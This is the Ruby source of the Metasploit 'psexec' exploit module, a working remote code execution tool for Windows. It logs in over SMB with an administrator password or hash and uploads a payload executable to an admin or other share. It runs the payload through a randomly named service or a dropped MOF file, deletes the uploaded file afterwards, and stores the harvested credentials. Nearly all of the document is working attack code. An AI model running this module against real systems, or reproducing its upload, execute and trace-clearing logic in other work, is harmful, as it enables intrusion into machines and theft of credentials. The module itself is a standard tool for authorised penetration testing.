metasploit-framework/modules/exploits/windows/smb/psexec.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:

  Local Security Settings >
   Local Policies >
    Security Options >
     Network Access: Sharing and security model for local accounts
=end

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::SMB::Psexec
  include Msf::Auxiliary::Report
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Windows Authenticated User Code Execution',
      'Description'    => %q{
          This module uses a valid administrator username and password (or
        password hash) to execute an arbitrary payload. This module is similar
        to the "psexec" utility provided by SysInternals. This module is now able
        to clean up after itself. The service created by this tool uses a randomly
        chosen name and description.
      },
      'Author'         =>
        [
          'hdm',
        ],
      'License'        => MSF_LICENSE,
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'WfsDelay'     => 10,
          'EXITFUNC' => 'process'
        },
      'References'     =>
        [
          [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
          [ 'OSVDB', '3106'],
          [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
        ],
      'Payload'        =>
        {
          'Space'        => 2048,
          'DisableNops'  => true,
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      # For the CVE, PsExec was first released around February or March 2001
      'DisclosureDate' => 'Jan 01 1999'
    ))

    register_options(
      [
        OptString.new('SHARE',     [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
      ], self.class )

    register_advanced_options(
      [
        OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]),
        OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]),
        OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
        OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil])
      ], self.class)
  end

  def exploit

    print_status("Connecting to the server...")
    connect()

    print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
    smb_login()

    if not simple.client.auth_user and not datastore['ALLOW_GUEST']
      print_line(" ")
      print_error(
        "FAILED! The remote host has only provided us with Guest privileges. " +
        "Please make sure that the correct username and password have been provided. " +
        "Windows XP systems that are not part of a domain will only provide Guest privileges " +
        "to network logins by default."
      )
      print_line(" ")
      disconnect
      return
    end

    if datastore['DB_REPORT_AUTH'] and datastore['SMBUser'].to_s.strip.length > 0
      report_hash = {
        :host	=> datastore['RHOST'],
        :port   => datastore['RPORT'],
        :sname	=> 'smb',
        :user	=> datastore['SMBUser'].downcase,
        :pass	=> datastore['SMBPass'],
        :active => true
      }
      if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
        report_hash.merge!({:type => 'smb_hash'})
      else
        report_hash.merge!({:type => 'password'})
      end
      report_auth_info(report_hash)
    end

    filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"

    if datastore['MOF_UPLOAD_METHOD']
      # payload as exe
      print_status("Trying wbemexec...")
      print_status("Uploading Payload...")
      if datastore['SHARE'] != 'ADMIN$'
        print_error('Wbem will only work with ADMIN$ share')
        return
      end
      simple.connect("ADMIN$")
      exe = generate_payload_exe
      fd = smb_open("\\system32\\#{filename}", 'rwct')
      fd << exe
      fd.close
      print_status("Created %SystemRoot%\\system32\\#{filename}")

      # mof to cause execution of above
      mofname = rand_text_alphanumeric(14) + ".MOF"
      mof = generate_mof(mofname, filename)
      print_status("Uploading MOF...")
      fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
      fd << mof
      fd.close
      print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")

      # Disconnect from the ADMIN$
      simple.disconnect("ADMIN$")
    else
      servicename = rand_text_alpha(8)

      # Upload the shellcode to a file
      print_status("Uploading payload...")
      smbshare = datastore['SHARE']
      fileprefix = ""
      # if SHARE = Users/sasha/ or something like this
      if smbshare =~ /.[\\\/]/
        subfolder = true
        smbshare = datastore['SHARE'].dup
        smbshare = smbshare.gsub(/^[\\\/]/,"")
        folder_list = smbshare.split(/[\\\/]/)
        smbshare = folder_list[0]
        fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
        simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
        fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
      else
        subfolder = false
        simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
        fd = smb_open("\\#{filename}", 'rwct')
      end
      exe = ''
      opts = { :servicename => servicename }
      exe = generate_payload_exe_service(opts)

      fd << exe
      fd.close

      if subfolder
        print_status("Created \\#{fileprefix}\\#{filename}...")
      else
        print_status("Created \\#{filename}...")
      end

      # Disconnect from the share
      simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")

      # define the file location
      if datastore['SHARE'] == 'ADMIN$'
        file_location = "%SYSTEMROOT%\\#{filename}"
      elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
        file_location = datastore['SHARE'].slice(0,1) +  ":\\#{filename}"
      else
        file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
      end

      psexec(file_location, false)

      print_status("Deleting \\#{filename}...")
      sleep(1)
      #This is not really useful but will prevent double \\ on the wire :)
      if datastore['SHARE'] =~ /.[\\\/]/
        simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
        simple.delete("\\#{fileprefix}\\#{filename}")
      else
        simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
        simple.delete("\\#{filename}")
      end
    end
    handler
    disconnect
  end
end